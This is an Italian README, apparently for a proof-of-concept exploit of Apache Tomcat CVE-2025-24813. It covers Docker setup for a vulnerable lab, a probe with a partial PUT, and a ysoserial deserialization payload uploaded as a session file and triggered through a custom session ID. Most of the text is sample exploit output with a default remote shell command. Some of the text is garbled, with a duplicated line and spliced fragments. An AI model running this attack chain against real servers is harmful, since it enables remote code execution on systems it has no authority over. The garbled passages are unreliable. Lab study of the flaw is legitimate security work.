
Script Proof of Concept (PoC) per CVE-2025-24813, vulnerabilità in Apache Tomcat.
Script di Proof of Concept (PoC) per CVE-2025-24813, vulnerabilità in Apache Tomcat.
Il script è stato modificato basandosi sul link correlato e adattato alle mie esigenze.
Ambiente basato sull'immagine ufficiale Tomcat 9.0.90. Rimuove la restrizione di sola lettura del server e lo configura per salvare i dati di sessione su disco. Successivamente, distribuisce automaticamente l'applicazione copiando il file ROOT.war nella directory webapps di Tomcat.
docker build -t cve-2025-24813 .
docker run --name cve-2025-24813 -it -d -p 8080:8080 cve-2025-24813
check.txt con l'intestazione Content-Range per verificare se il server accetta richieste PUT.ysoserial.JSESSIONID personalizzato, innescando la deserializzazione.$ python3 cve_2025_24813.py
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██╗ ██╗ █████╗ ██╗██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ╚════██╗██║ ██║██╔══██╗███║╚════██╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝███████╗█████╗ █████╔╝███████║╚█████╔╝╚██║ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚════██║╚════╝██╔═══╝ ╚════██║██╔══██╗ ██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗███████║ ███████╗ ██║╚█████╔╝ ██║██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚══════╝ ╚══════╝ ╚═╝ ╚════╝ ╚═╝╚═════╝
--- Apache Tomcat Remote Code Execution PoC by Hakan Karabacak ---
Enter target URL (e.g., http://target.com:8080): http://target.com:8080
Enter command to execute (default: bash -c echo${IFS}$(id)>/tmp/RCE):
Enter path to ysoserial.jar (default: ysoserial.jar):
Enter ysoserial gadget chain (default: CommonsCollections6):
[*] Session ID: hk1337
[+] Server is writable via PUT: http://target.com:8080/check.txt
[*] Generating ysoserial payload for command: bash -c echo${IFS}$(id)>/tmp/RCE
[+] Payload generated successfully: payload.ser
[+] Payload uploaded with status 409 (Conflict): http://target.com:8080/hk1337.session
[+] Exploit succeeded! Server returned 500 after deserialization.
[+] Target http://target.com:8080 is vulnerable to CVE-2025-24813!
[+] Temporary file removed: payload.ser